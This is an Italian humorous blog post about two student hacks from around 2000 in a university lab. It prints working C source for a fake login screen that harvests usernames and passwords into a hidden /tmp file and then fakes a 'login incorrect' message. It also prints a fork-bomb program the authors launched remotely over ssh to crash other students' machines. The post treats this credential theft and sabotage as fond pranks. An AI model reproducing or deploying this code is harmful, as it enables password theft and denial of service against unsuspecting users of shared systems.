storie della nostra vita

In questo articolo ha pensato di riportare due articoli distinti, precedentemente pubblicati su Be Geek My Friend, dal titolo Storie della nostra vita. Gli articoli oltre a far scendere la lacrimuccia ai protagonisti fanno capire al lettore con chi hanno a che fare. Non preoccupatevi è passato qualche anno siamo diventati bambini bravi (sopratutto perché non siamo più bambini).
Nota per le forze dell’ordine: sono passati quasi 20 anni i possibili reati sono caduti in prescrizione.

Storie della nostra vita parte I

In questi giorni sto leggendo la raccolta di racconti Storie della tua vita di Ted Chiang, che riporta anche l’omonimo il quale ha ispirato il film Arrival.
Il secondo racconto si chiama “Capisci” dove il protagonista, vittima di un incidente, diventa super intelligente a causa della somministrazione di alcuni ormoni utili alla ricostruzione del cervello. Si accorge subito che in ospedale non gli raccontano tutto quello che dovrebbe sapere e quindi il suo primo atto da super intelligente è hackerare il sistema per leggere la sua cartella clinica. Per fare ciò ruba la password di uno dei dottori con un programma scritto al momento che simula la schermata di login e salva su file utente e password, ovviamente prima dell’incidente non conosceva linguaggi di programmazione dopo si.

Eccoci al perché dell’articolo: Mi sono commosso di brutto!!!!

Infatti nel lontano 1999 (o forse 2000) il gruppo fondatore del blog (che prima di capire che il nome poteva essere frainteso si faceva chiamare “I tre smanettoni e mezzo“) decise che avere una password a testa era poco divertente e che quindi poteva essere cosa buona e giusta conoscere più password (ovviamente l’idea non fu mia sono una vittima:  sono bravo, ingenuo  e sopratutto ho famiglia). Frequentando con ottimi risultati, alla sala giochi vicino, il Dipartimento di Informatica dell’università (non saprete mai la città ma secondo i livornesi c’è cattivo odore e i giapponesi fanno le foto sorreggendo qualcosa), gli altri studenti divennero la cavia perfetta. Quelli dell’ultimo anno avevano addirittura il permesso di eseguire sudo.
I nostri eroi unirono i loro cervelli giganteschi (nel libro lo fa uno che diventa super intelligente) per creare codesto programma scritto in C (ritrovato nel mio disco esterno, commozione doppia):

//Fotti Password versione Login
//Programma creato dai Tre Smanettoni e 1/2
//Versione 1.0

#include <stdio.h>
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <termios.h>
#include <ctype.h>

#define MAX 25
#define SA struct sockaddr
#define MAXLINE 4096
#define BUFFSIZE 80 
#define NOMEMORY "Memoria non disponibile"
#define NOTERM "Non è un terminale"

struct termios saved_attributes; 
/* questo e' la struttura per il settaggio del terminale,
al fine di settare un input non canonico o meno */

char *comando;
char *login;
char *pass;
char *host;
FILE *fp1, *fp2, *fp3;

void reset_input_mode(void)
{
  tcsetattr(STDIN_FILENO, TCSANOW, &saved_attributes); 
/* Salva il precedente stile di input */
}

void set_input_mode(void)
{
  struct termios tattr;

  if (!isatty(STDIN_FILENO)) 
/* La funzione di libreria isatty (int filedes), restituisce 1 se filedes e' un descrittore di file associato con un terminale, 0 altrimenti*/
    {
      fprintf(stderr,NOTERM);
      exit(EXIT_FAILURE);
    }

/* Ora si procede al settaggio delle impostazioni del terminale, al fine di ottenere un input non canonico */

 tcgetattr(STDIN_FILENO, &saved_attributes); 
/* Si prendono le impostazioni correnti con tcgetattr, al fine di salvarle*/

 atexit(reset_input_mode); /* Le salviamo a modo */
 tcgetattr(STDIN_FILENO, &tattr); /* Riprendiamo le impostazioni correnti, per modifcarle */
 tattr.c_lflag &=~(ICANON | ECHO); /* Tolgo l'impostazione canonica e l'echo*/
 tattr.c_cc[VMIN] =1; /* settiamo il numero di bytes, da prelevare */
 tattr.c_cc[VTIME] =0;/*facciamo in modo che la digitazione non abbia timeout*/
 tcsetattr(STDIN_FILENO, TCSAFLUSH,&tattr);/* Voila', settato il terminale per 
               evitare un qualsiasi eco */
}

char getch(void)
     /* esegui una lettura sulla periferica */
{
  char tkn;
  read(STDIN_FILENO,&tkn,1);
  return tkn;
}


char* digitpass(int maxstr)
{
  char tk;
  char *base,*s;
  char passecho[]="Password: ";
  char nologin[]="\nlogin incorrect\n";
  int j;
  base=malloc((maxstr*sizeof(char))+1); /*alloca una stringa di maxstr 
           elementi*/
  s=base; /*offset*/
  if (!s) /* se la memoria non e' disponibile .. ti ciucci il calzino */
    {
      perror(NOMEMORY);
      exit(0);
    }
  j=0;
  write(STDOUT_FILENO,passecho,sizeof(passecho));
  set_input_mode(); /* vedi sopra*/
  tk=getch();
  while ((tk!='\n') && (j<maxstr)) 
    {
      if (isprint(tk)) 
  {
    *s=tk;
    j++;
    s++;
  }
      tk=getch();
    }
  reset_input_mode();
  *s='\0';
  write(STDOUT_FILENO,nologin,sizeof(nologin));
  return base;
}

main() 
{
    
    int i;
    char c, d;
    //system("clear");
    fp1 = fopen("/tmp/.archivio", "a");
    fp2 = fopen("/etc/HOSTNAME", "r");
    fp3 = fopen("/etc/issue", "r");
    host = malloc((10*sizeof(char))+1);
    login = malloc((12*sizeof(char))+1);
    printf("\n\n\n");
    while (!feof(fp3)) 
     {
       c = getc(fp3);
       if (c != (char) EOF) printf("%c", c);
     }
    fclose(fp3);
    while ((d =getc(fp2)) != '.')
      printf("%c", d);
    printf (" login: ");
    gets (login);
    pass=digitpass(79);
    fputs(login, fp1);
    fputs(" ", fp1);
    fputs(pass, fp1);
    fputs("\n", fp1);
    fclose(fp1);
    fclose(fp2);
    exit(0);
}

Il potentissimo programma (funziona ancora, anche se non mostra bene come prima la schermata di login testuale) apriva i file /etc/hostname e /etc/issue per copiare la login da shell (veniva uguale uguale), farti inserire nome utente e password e uscire. Ovviamente le credenziali finivano nel nostro mitico file. Ne avevamo a centinaia, bastava lanciare il programma prima di lasciare la postazione per aver la password del prossimo utente che voleva utilizzarla. L’utente non si insospettiva poiché si ritrovava davanti il messaggio “password errata” e la schermata di login originale. Forse i più veloci e attenti potevano notare qualcosa di strano ma non abbiamo mai avuto problemi.

Non preoccupatevi abbiamo fatto buon uso delle credenziali, alla sala giochi non servivano.

Storie della nostra vita parte II

Questa mattina mentre predisponevo un tardivissimo backup dei file contenuti sul mio portatile, mi sono messo a vagare nei meandri delle cartelle sparate alla rinfusa nel mio disco di backup.
Nelle cartelle c’era un altro programma malefico, dal nome illuminante: destroy. Lo usavamo quando in laboratorio le macchine erano occupate. I laboratori dell’anonimo dipartimento di informatica (ricordatevi che c’abbiamo famiglia e che in quella città secondo i livornesi c’è cattivo odore e i giapponesi fanno le foto mentre reggono qualcosa) avevano una angolo soppalcato dove c’erano 4 macchine vecchissime dalle quali era impossibile usare qualcosa di diverso dal terminale. Quando le più potenti macchine “del pian terreno” erano occupate noi giovani criminali, ci collegavamo del soppalco e con l’auto di ssh (col parametro -x mi pare) lanciavamo da remoto su uno dei PC di sotto il nostro divino codice e osservavamo sghignazzando (qualcuno benedica chi aveva scritto a caratteri cubitali il nome host della macchina).
Il codice era questo:

#include<stdlib.h>
 
char*s;
 
main()
{
        while(1)
        {
                fork();
                s=malloc(10024);
        }
}                          

Da bravi studenti apprendevamo e capivamo quanto detto dagli insegnati e ovviamente prendevamo spunto. Durante la lezione di programmazione la prof disse: “Attenti agli assegnamenti di memoria nei cicli, in caso di ciclo infinito la macchina si pianta di sicuro”. Noi giovani criminali siamo come San Tommaso, non ci crediamo finché non ci mettiamo il naso. Abbiamo provato a lungo per poi dare ragione alla prof. In circa 10 secondi il nostro destroy riusciva a rendere inutilizzabile una macchina e a liberarla per i nostri malefici scopi (ricordatevi che parliamo del 2000). Molti utenti, che ovviamente facevano cose serie, si alzavano subito infastiditi (ovviamente noi ridendo come pazzi prendevamo nota delle nuove bestemmie apprese), per altri servivano anche tre blocchi consecutivi. La maggior parte delle macchine liberava la memoria entro pochi minuti, ma loro mica lo sapevano.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *